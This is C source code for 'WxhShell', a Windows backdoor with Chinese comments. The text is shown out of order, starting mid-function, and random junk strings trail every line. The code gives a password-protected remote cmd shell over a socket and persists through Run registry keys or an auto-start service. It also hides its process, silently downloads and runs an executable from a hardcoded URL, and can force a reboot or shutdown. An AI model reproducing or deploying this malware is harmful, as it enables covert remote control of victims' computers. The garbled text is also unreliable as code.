    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zeC RK+-  
    else { u4%Pca9(=  
    closesocket(wsh); Y6L ~K?  
    ExitThread(0); W$ 2C47i  
    } KC#q@InK  
    break; 8rS:5:Hi  
    } r[Hc>wBv  
  // 获取shell t; {F%9j{  
  case 's': { 'V=P*#|SR  
    CmdShell(wsh); =j*$ |X3W  
    closesocket(wsh); Eq\M;aDq  
    ExitThread(0); QM#4uI55B  
    break; K$_0 `>[  
  } aC.~&MxFC  
  // 退出 9dUravC7  
  case 'x': { t#pS{.I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z}ddqZ27G$  
    CloseIt(wsh); Zt.|oYH$  
    break; 8-%TC\:  
    } wInh~p  
  // 离开 %vhnl'  
  case 'q': { Z//+Gw<'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sAD}#Zw$  
    closesocket(wsh); |CZ@te)>  
    WSACleanup(); vv+z'(l  
    exit(1); QR0Q{}wbqU  
    break; 0C6-GKbZ  
        } Hi1JLW,  
  } ;Q*or2"!  
  } 2M'[,Xe  
A/KJqiag  
  // 提示信息 qC:raH_:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pF Rg?-  
} y)!5R3b  
  } $,}E   
5VAK:eB  
  return; t+iHQfuP9A  
} 9!}8UALD  
$!yW_HTx  
// shell模块句柄 1@1U/ss1  
int CmdShell(SOCKET sock) =i*;VFc  
{ ]4]6Qki  
STARTUPINFO si; usCt#eZK  
ZeroMemory(&si,sizeof(si)); aV|hCN~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LS*y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g^{@'}$  
PROCESS_INFORMATION ProcessInfo; es&vMY  
char cmdline[]="cmd"; |O9 O )o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }h!f eP  
  return 0; Midy"  
} T<p !5`B1  
EYEnN  
// 自身启动模式 h+&OQ%e=8  
int StartFromService(void) `FTy+8mw  
{ =mpV YA  
typedef struct &NoS=(s,  
{ D9 |n)f  
  DWORD ExitStatus; MET' (m  
  DWORD PebBaseAddress; $79=lEn,  
  DWORD AffinityMask; HxK80mJ  
  DWORD BasePriority; ` a/%W4  
  ULONG UniqueProcessId; giIWGa.a+  
  ULONG InheritedFromUniqueProcessId; ]d0tE?9  
}   PROCESS_BASIC_INFORMATION; Sf7\;^  
a\E:sPM'>  
PROCNTQSIP NtQueryInformationProcess; ZR]25Yy  
)~] (&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NzOo0tz:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IS 2^g>T#1  
Oz`BEyb]{  
  HANDLE             hProcess; D (m j7oB  
  PROCESS_BASIC_INFORMATION pbi; ,\ k(x>oy  
4.=3M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cy3B({PLy  
  if(NULL == hInst ) return 0; cK i m-  
X/2&!O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >eB\(EP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \$\ENQ;Nk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "*5hiTr8+  
dA0.v+Foz"  
  if (!NtQueryInformationProcess) return 0; @EpIh&  
o .G!7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <55 g3>X  
  if(!hProcess) return 0; C/kW0V7  
"C19b:4H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |J} Mgb-4  
fb8g7H|  
  CloseHandle(hProcess); uv(Sdiir8  
-Sx\Xi"<o=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7~aM=8r  
if(hProcess==NULL) return 0; Vz)`nmO}5\  
#Xb+`'  
HMODULE hMod; & <J[Q%2  
char procName[255]; WIf0z#JMJm  
unsigned long cbNeeded; 2hkRd>)&5  
5>j)kx=J9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i9A+gtd  
[[Fx[  
  CloseHandle(hProcess); h`k"A7M  
/[)qEl2]K  
if(strstr(procName,"services")) return 1; // 以服务启动 5sJJGv#6  
rIh l.5Y  
  return 0; // 注册表启动 i2(1ki/|O  
} s,n0jix@  
FPI;Jx6W'  
// 主模块 ^[XYFQTL  
int StartWxhshell(LPSTR lpCmdLine) *c*0PdV  
{ /fT+^&  
  SOCKET wsl; (+3Wgl+]/  
BOOL val=TRUE; xAe~]k_D  
  int port=0; SNE#0L' }  
  struct sockaddr_in door; V8-oYwOR  
wK-3+&,9  
  if(wscfg.ws_autoins) Install(); z3M6V}s4  
;b(p=\i  
port=atoi(lpCmdLine); 8C~]yd  
MP 2~;T}~  
if(port<=0) port=wscfg.ws_port; "7V2lu  
:8+Nid)  
  WSADATA data; 1/-43B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )ZqJh  
#w-xBM @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cwWodPNm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2e9es  
  door.sin_family = AF_INET; 9Fm"ei  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q**G(}K  
  door.sin_port = htons(port); D] ~MC  
_DNHc*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j;3[KLmuK%  
closesocket(wsl); o1Q7Th  
return 1; fasgmi}  
} Qx47l  
sHl>$Qevz  
  if(listen(wsl,2) == INVALID_SOCKET) { yz*6W zD  
closesocket(wsl); UHxE)]J  
return 1; MR<;i2p  
} XW s"jt  
  Wxhshell(wsl); :2-pjkhiwY  
  WSACleanup(); R&';Oro  
qfz8jY]  
return 0; xD[Gq%  
/ iV}HV0  
} hcbv;[bG  
A\#P*+k0  
// 以NT服务方式启动 o b|BXF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xo*%/0q'  
{ dwd:6.J(  
DWORD   status = 0; P*Tx14xe4  
  DWORD   specificError = 0xfffffff; {aJJ `t  
>Ll$p 0W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @wC5 g 4E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i'wAE:Xe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /'DsB%7g  
  serviceStatus.dwWin32ExitCode     = 0; YH_7=0EJ  
  serviceStatus.dwServiceSpecificExitCode = 0; -!L"')  
  serviceStatus.dwCheckPoint       = 0; X'% ;B  
  serviceStatus.dwWaitHint       = 0; Bk\Gj`"7  
z,:a8LB#[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); njnDW~Snb  
  if (hServiceStatusHandle==0) return; -7&Gi +]  
D<X.\})Md  
status = GetLastError(); R% ,<\d7  
  if (status!=NO_ERROR) ZwerDkd  
{ NDAw{[.%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #\ n8M  
    serviceStatus.dwCheckPoint       = 0; ,b;{emX h  
    serviceStatus.dwWaitHint       = 0; _#}n~}d  
    serviceStatus.dwWin32ExitCode     = status; PF7&p~O(Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; JA_BKA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g{9+O7q  
    return; -,{-bi  
  } ]B]*/  
U Gpu\TB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x5WW--YR+  
  serviceStatus.dwCheckPoint       = 0; 4[-*~C|W5  
  serviceStatus.dwWaitHint       = 0; p6XtTx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fb:j%1WF  
} /q$,'^.A  
(?! ,p^  
// 处理NT服务事件,比如:启动、停止 ^~HQC*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?EK?b s  
{ ~ Yngkt  
switch(fdwControl) I1>N4R-j  
{ .eO?Z^  
case SERVICE_CONTROL_STOP: h"[+)q%L  
  serviceStatus.dwWin32ExitCode = 0; dN}#2Bo =  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uyr3dN%*r  
  serviceStatus.dwCheckPoint   = 0; $4T2z-  
  serviceStatus.dwWaitHint     = 0; p/ >`[I  
  { $<|l E/_]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <ExZ:ip  
  } tpTAeQ*:d  
  return; I]y.8~xs  
case SERVICE_CONTROL_PAUSE: %9#gB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1#4PG'H  
  break; cl*PFQp9j  
case SERVICE_CONTROL_CONTINUE: @M8|(N%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l?)ZJ3]a  
  break; H7k PM[  
case SERVICE_CONTROL_INTERROGATE: a9?y`{%L  
  break; ?kz+R'  
}; ^p/Ob'!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !!nuAQ"E[  
} h}Wdh1.M3  
1uk 0d`JL  
// 标准应用程序主函数 3o|I[!2.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,mL !(US  
{ o!r8{L  
<JwX_\?ln  
// 获取操作系统版本 !;!~n`  
OsIsNt=GetOsVer(); $CE[MZ&S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `g1iCF  
Y05P'Q  
  // 从命令行安装 }/,CbKi,+  
  if(strpbrk(lpCmdLine,"iI")) Install(); *VkgQ`c  
'2-oh  
  // 下载执行文件 OcSEo7W  
if(wscfg.ws_downexe) { 6k/U3&R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DK&h eVIoZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); %&\jOq~  
} Lh-`OmO0>F  
Zf>^4_x3P  
if(!OsIsNt) { (?b@b[D~4  
// 如果时win9x,隐藏进程并且设置为注册表启动 A;u"<KG?  
HideProc(); 5]1h8PW!Y  
StartWxhshell(lpCmdLine); $.489x+'Z  
} xT)psM'CL  
else .\qj;20W  
  if(StartFromService())  X}6#II  
  // 以服务方式启动 *$M'`vj:  
  StartServiceCtrlDispatcher(DispatchTable); V8~jf-\$b  
else Sj(F3wY  
  // 普通方式启动 6R29$D|HFO  
  StartWxhshell(lpCmdLine); *AIEl"29  
!"TZ:"VZU  
return 0; -gz0md|Y  
} )P>u9=?,=E  
D8# on!  
V=:_d,  
Gj /3kS~@  
=========================================== jUqy8q&  
? QDWuPhN  
PZD>U)M  
rB%$;<`/  
=N|kn<h4  
^SfS~G Q  
" jAsO8  
t%r :4,  
#include <stdio.h> ?oiKVL"7  
#include <string.h> @oG)LT  
#include <windows.h> ~H}en6Rc  
#include <winsock2.h> H_IGFZCh  
#include <winsvc.h> )hj|{h7  
#include <urlmon.h> J:F^ #gW  
BXUF^Hj%  
#pragma comment (lib, "Ws2_32.lib") mEuHl>  
#pragma comment (lib, "urlmon.lib") s2v(=  
wn11\j&  
#define MAX_USER   100 // 最大客户端连接数 2PSTGG8JV  
#define BUF_SOCK   200 // sock buffer 7> Pgc  
#define KEY_BUFF   255 // 输入 buffer h.whjiCFa  
*xM/ ;)  
#define REBOOT     0   // 重启 &VWlt2-R0h  
#define SHUTDOWN   1   // 关机 Cv=GZGn-  
b]]N{: I  
#define DEF_PORT   5000 // 监听端口 t^tCA -  
|@o6NZ<9N  
#define REG_LEN     16   // 注册表键长度 xkA2g[  
#define SVC_LEN     80   // NT服务名长度 .]}N55M  
DjW$?>  
// 从dll定义API W%!@QY;E(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y02 u?wJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XvSIWs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9''p[V.3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1:= `Y@.S  
w9#R'  
// wxhshell配置信息 xnq><4  
struct WSCFG { qA/bg  
  int ws_port;         // 监听端口 ^i:\@VA:  
  char ws_passstr[REG_LEN]; // 口令 ]R_G{%  
  int ws_autoins;       // 安装标记, 1=yes 0=no cQFR]i  
  char ws_regname[REG_LEN]; // 注册表键名 twk&-:'  
  char ws_svcname[REG_LEN]; // 服务名 H*W):j}8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %>XN%t'6aT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | D.C!/69  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P?3{z="LzJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]i8c\UV\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V_L[P9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nb@"?<L!  
?|t/mo|K?  
}; -'C!"\%  
s=EiH  
// default Wxhshell configuration ;>2#@QP  
struct WSCFG wscfg={DEF_PORT, vg8O] YF  
    "xuhuanlingzhe", BEw{X|7  
    1, 5z]\$=TE  
    "Wxhshell", $ehg@WK}.  
    "Wxhshell", v29G:YQe  
            "WxhShell Service", ~r`Wr`]_z  
    "Wrsky Windows CmdShell Service", ZcZ;$*  
    "Please Input Your Password: ", j.QHkI1.  
  1, IF?xnu  
  "http://www.wrsky.com/wxhshell.exe", -WT3)On  
  "Wxhshell.exe" e!o(g&wBj  
    }; cj(X2L  
hswTn`f  
// 消息定义模块 <FmBa4ONU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XS0V:<+,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T#iU+)-\%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GF R!n1Hv  
char *msg_ws_ext="\n\rExit."; u;n(+8sz  
char *msg_ws_end="\n\rQuit."; 1| xN%27>  
char *msg_ws_boot="\n\rReboot..."; |ft:|/^F&  
char *msg_ws_poff="\n\rShutdown..."; }h~'AM  
char *msg_ws_down="\n\rSave to "; / = ^L iP  
9!t4>  
char *msg_ws_err="\n\rErr!"; !O\X+#j  
char *msg_ws_ok="\n\rOK!"; t>U!Zal"  
gEKO128  
char ExeFile[MAX_PATH]; qB JRS'6'9  
int nUser = 0; XU#,Bu{  
HANDLE handles[MAX_USER]; kQ}s/*  
int OsIsNt; +?e}<#vd'?  
&LU'.jY  
SERVICE_STATUS       serviceStatus; H%Y%fQ ~^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dB`b9)Tk0z  
YMAQ+A!  
// 函数声明 ^"tqdeCb=  
int Install(void); `)tK^[,<W  
int Uninstall(void); 98<zCSe\]  
int DownloadFile(char *sURL, SOCKET wsh); C.E[6$oVc  
int Boot(int flag); oO:LG%q  
void HideProc(void); yH(V&Tv  
int GetOsVer(void); 4Vx+[8W  
int Wxhshell(SOCKET wsl); 9U10d&M(  
void TalkWithClient(void *cs); YY!!<2_  
int CmdShell(SOCKET sock); 9N}W(>  
int StartFromService(void); #^\}xn" [  
int StartWxhshell(LPSTR lpCmdLine); $j !8?  
!3KPwI,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z^~U]S3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .S|-4}G(6  
3LrsWAz'  
// 数据结构和表定义 j_pw^I$C  
SERVICE_TABLE_ENTRY DispatchTable[] = XZ@ >]P  
{ R`C.ha  
{wscfg.ws_svcname, NTServiceMain}, ^I./L)0= }  
{NULL, NULL} X RRJ)}P  
}; K.h]JD]o  
Fd"WlBYy0  
// 自我安装 f%1wMOzx  
int Install(void) J3\)Jy  
{ GI4oQcJ  
  char svExeFile[MAX_PATH]; HWR& C  
  HKEY key; &enlAV'#)O  
  strcpy(svExeFile,ExeFile); 0|Q.U  
mCrU//G  
// 如果是win9x系统,修改注册表设为自启动 {Pvr??"r  
if(!OsIsNt) { r!M#7FDs(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vz,LF=s2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P6E1^$e  
  RegCloseKey(key); /'NUZ9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sbjtL,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '5cZzC 2  
  RegCloseKey(key); feg`(R2  
  return 0; dp< au A  
    } | /#'S&!U  
  } 2?H@$-x>  
} T Xl\hL\+  
else { L)G">T;  
r &c_4%y  
// 如果是NT以上系统,安装为系统服务 Hc /w ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;.r2$/E  
if (schSCManager!=0) }1\?()rB  
{ Y(W{Jd+  
  SC_HANDLE schService = CreateService Rh yegD  
  ( sx90lsu  
  schSCManager, \ >(zunL  
  wscfg.ws_svcname, FP@ A;/c  
  wscfg.ws_svcdisp, @d P~X  
  SERVICE_ALL_ACCESS, Wb'*lT0=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1YFAr}M  
  SERVICE_AUTO_START, x/[8Wi,yB  
  SERVICE_ERROR_NORMAL, K5+!(5V~  
  svExeFile, %)dI2 J^Xf  
  NULL, (mY(\mu}  
  NULL, -|$*l Q  
  NULL, e Ri!\Fx  
  NULL, _AAx )  
  NULL 3v G  
  ); o[2Y;kP3*P  
  if (schService!=0) 1y(iE C  
  { PgqECd)f  
  CloseServiceHandle(schService); |/2LWc?  
  CloseServiceHandle(schSCManager); (S3jZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xv]*;Bq:SK  
  strcat(svExeFile,wscfg.ws_svcname); hX %s]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TR|;,A[%v#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZG!x$ yi$  
  RegCloseKey(key); >5df@_'  
  return 0; )e#fj+>x)  
    } TLX^~W[gOm  
  } 7:ckq(89  
  CloseServiceHandle(schSCManager); ]P JH'=  
} I_K[!4~Kn  
} fyGCfM  
t0+t9w/fTP  
return 1; @],Z 2  
} `2sdZ/fO  
}3Df]  
// 自我卸载 jf2y0W>6s  
int Uninstall(void) 8R BDJ  
{ }[ 7Nb90v  
  HKEY key; Mn-<51.%  
_y|[Z;  
if(!OsIsNt) { AK %=DVkM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5~*=#v:`  
  RegDeleteValue(key,wscfg.ws_regname); a_xQ~:H  
  RegCloseKey(key); d!w1t=2H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0%#t[us Y  
  RegDeleteValue(key,wscfg.ws_regname); ?i/73H+;D3  
  RegCloseKey(key); 5wy;8a  
  return 0; fHW-Je7mG  
  } %!>k#F^S  
} s }Xi2^x  
} nz}]C04:-  
else { J: L-15  
g2!0vB>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u_h=nk  
if (schSCManager!=0) #^"hqNwA  
{ (}VuiNY<3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U[blq M  
  if (schService!=0) @F>[DW]O  
  { nm<L&11  
  if(DeleteService(schService)!=0) { Y#GT*V  
  CloseServiceHandle(schService); [>Ikitow  
  CloseServiceHandle(schSCManager); axHxqhO7zp  
  return 0; "[FCQ  
  } 5ENov!$H  
  CloseServiceHandle(schService); 4+BrTGp  
  } C+}CU}  
  CloseServiceHandle(schSCManager); zUvB0\{q  
} i%#th'C!P  
} 5R$=^gE  
ftDVxKDE?S  
return 1; e-&L\M  
} JkRGtYq  
9)8*FahW  
// 从指定url下载文件 R:SIs\%o  
int DownloadFile(char *sURL, SOCKET wsh) Vj?*= UL  
{ hnH)Jy;>  
  HRESULT hr; Ky =(urAd  
char seps[]= "/";  pb,{$A  
char *token; +#&el//  
char *file; O@G<B8U,K  
char myURL[MAX_PATH]; 1uKD&k%q  
char myFILE[MAX_PATH]; = ?y^O0v  
NdaVT5RB  
strcpy(myURL,sURL); _:oMyK'  
  token=strtok(myURL,seps); cL-6M^!a  
  while(token!=NULL) .N?|t$J  
  { E&}H\zt#  
    file=token; $Ui]hA-:?y  
  token=strtok(NULL,seps); {jq^hM!TEy  
  } ^!zJf7(+<>  
/DgT1^&0  
GetCurrentDirectory(MAX_PATH,myFILE); <FMuWHY  
strcat(myFILE, "\\"); q8&4=eV\A  
strcat(myFILE, file); H620vlC}V  
  send(wsh,myFILE,strlen(myFILE),0); nS?S6G5h  
send(wsh,"...",3,0); m-Mhf;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PX+"" #  
  if(hr==S_OK) p\4h$."  
return 0; NZC<m$')  
else U"jUMOMZ;  
return 1; <m|FccvQ  
Vs2v j  
} krnvFZRTQ  
N^nDWK  
// 系统电源模块 d!a2[2Us  
int Boot(int flag) BxW||O|_N"  
{ =|DkD- O  
  HANDLE hToken; $i5G7b  
  TOKEN_PRIVILEGES tkp; s.k`];wo  
_rWTw+ L  
  if(OsIsNt) { (7 ]\p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T%z!+/=&^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L%=BCmMx  
    tkp.PrivilegeCount = 1; ?dATMmT-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NK*:w *SOI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VLl&>Pbe-  
if(flag==REBOOT) { [U+<uZzOC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2/a04qA#  
  return 0; 7~Xu71^3s  
} C5W-B8>  
else { OV0cr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dNS9<8JX  
  return 0; R[2[[M  
} 'Gm!Jblo@  
  } K~9 jin  
  else { am)J'i,  
if(flag==REBOOT) { j$JV(fz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G5X|JTzpu<  
  return 0; g/J^K*3]  
} <3J=;.\6  
else { d- _93  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kG~ivB}x  
  return 0; "X!_37kQ  
} -&HoR!af  
} "1pZzad  
b W`)CWd  
return 1; `s|\" @2  
} k -t,y|N  
f(zuRM^5  
// win9x进程隐藏模块 >ZOZv  
void HideProc(void) 9h)P8B.>M  
{ ).@)t:uNa  
!*$'fn'bAA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! Dhfr{  
  if ( hKernel != NULL ) eQ4B5B%j/x  
  { \t 7zMp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +q>C}9s3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jg?pW:}R  
    FreeLibrary(hKernel); x Ps& CyI  
  } ! a8h  
LqH?3):  
return; &nY2u-Q  
} !'UsC6Y4  
e>s.mH6A  
// 获取操作系统版本 ^AC+nko*  
int GetOsVer(void) NJz*N%VWD  
{ WA)lk>(+  
  OSVERSIONINFO winfo; \&|w;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vb4G_X0S  
  GetVersionEx(&winfo); q@=#`746e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 22H=!.DJ  
  return 1; S7\jR%p b  
  else yO69p  
  return 0; Zzzi\5&gU  
} iJ~iJ'vf  
|cBF-KNZ  
// 客户端句柄模块 ;/]c^y  
int Wxhshell(SOCKET wsl) u9[w~U#  
{ |Z +E(F  
  SOCKET wsh; \H'CFAuF  
  struct sockaddr_in client; ::h02,y;1%  
  DWORD myID; =,1zl}PR  
}j5@\c48  
  while(nUser<MAX_USER) I.n{ "=$B@  
{ S4AB tKG  
  int nSize=sizeof(client); ZYp-dlEXq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hgMnO J  
  if(wsh==INVALID_SOCKET) return 1; .<|4PG  
Y$DgL h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *1 eTf  
if(handles[nUser]==0) (\[!,T"[  
  closesocket(wsh); fn"jYSy  
else ~O3uje_  
  nUser++; 2%, ' }Bus  
  } mZ.6Njb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2QQYXJ^  
z4OR UQ  
  return 0; - G2M;]Cn  
} MLDg).5  
nCmrt*&}  
// 关闭 socket d~oWu [F*  
void CloseIt(SOCKET wsh) Ns] 9-D  
{ 3t}o0Ai9  
closesocket(wsh); >w2WyYJYH  
nUser--; p9bxhnn|  
ExitThread(0); B7^n30+L  
} za 4B+&JJ  
7QRvl6cv  
// 客户端请求句柄 4Fht (B|  
void TalkWithClient(void *cs) !wufoK  
{ /[|md0,  
;$&5I9N  
  SOCKET wsh=(SOCKET)cs; t7`Pw33#kY  
  char pwd[SVC_LEN]; a!]QD`  
  char cmd[KEY_BUFF]; '/)_{Ly  
char chr[1]; T<~[vjA  
int i,j; iZqFVr&JF  
o+WrIAR  
  while (nUser < MAX_USER) { .Af)y_  
loVvr"&g  
if(wscfg.ws_passstr) { XzwQ,+IAr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zvw3C%In  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AG!a=ufc0  
  //ZeroMemory(pwd,KEY_BUFF); \7?MUa.4  
      i=0; aLo>Yi  
  while(i<SVC_LEN) { YedipYG9;  
q|_ 5@Ly  
  // 设置超时 1OGv+b)  
  fd_set FdRead; g KY ,G  
  struct timeval TimeOut; wEn&zZjx  
  FD_ZERO(&FdRead); 4BL,/(W] x  
  FD_SET(wsh,&FdRead); wOl-iN=  
  TimeOut.tv_sec=8; SYhspB  
  TimeOut.tv_usec=0; %3B>1h9N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f v7g93  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ml \yc'  
PX{~!j%n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7)X&fV6<8  
  pwd=chr[0]; Q`fA)6U  
  if(chr[0]==0xd || chr[0]==0xa) { Bc ,z]  
  pwd=0; dD2e"OIX  
  break; dK`O,[}  
  } ?26[%%  
  i++; K>~cY%3^i  
    } ,#FH8%Yf  
tQ<2K*3]  
  // 如果是非法用户,关闭 socket NjMLq|X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H[yLl v  
} Sgk{NM7|k  
8*){*'bf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CU M~*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DY27'`n6  
uy%PTi+A  
while(1) { -5B([jHgR  
43]&SXprH  
  ZeroMemory(cmd,KEY_BUFF); QU;C*}0Zl  
K&oO+G^f  
      // 自动支持客户端 telnet标准   K%@SS8!oy  
  j=0; f3&//h8  
  while(j<KEY_BUFF) { .-*nD8b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^]K)V  
  cmd[j]=chr[0]; zL{@LHP  
  if(chr[0]==0xa || chr[0]==0xd) { @"5u~o')@v  
  cmd[j]=0; ^IZ0M1&W;  
  break; s8O+&^(U  
  } WkmS   
  j++; :Fk&2WsW:  
    } 90I3_[Ii  
yU lQPrNX  
  // 下载文件 r>eXw5Pr7  
  if(strstr(cmd,"http://")) { f}uCiV!?v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bnc  
  if(DownloadFile(cmd,wsh)) 89dC bF3b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8W=Is`  
  else ;]ew>P)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FCAu%lvZT  
  } 0]W/88ut*u  
  else { Ct33S+y  
j;vaNg|vQ  
    switch(cmd[0]) { bHG>SW\]`?  
  ?':'zT  
  // 帮助 jC7XdYp  
  case '?': { 2}#PDh n  
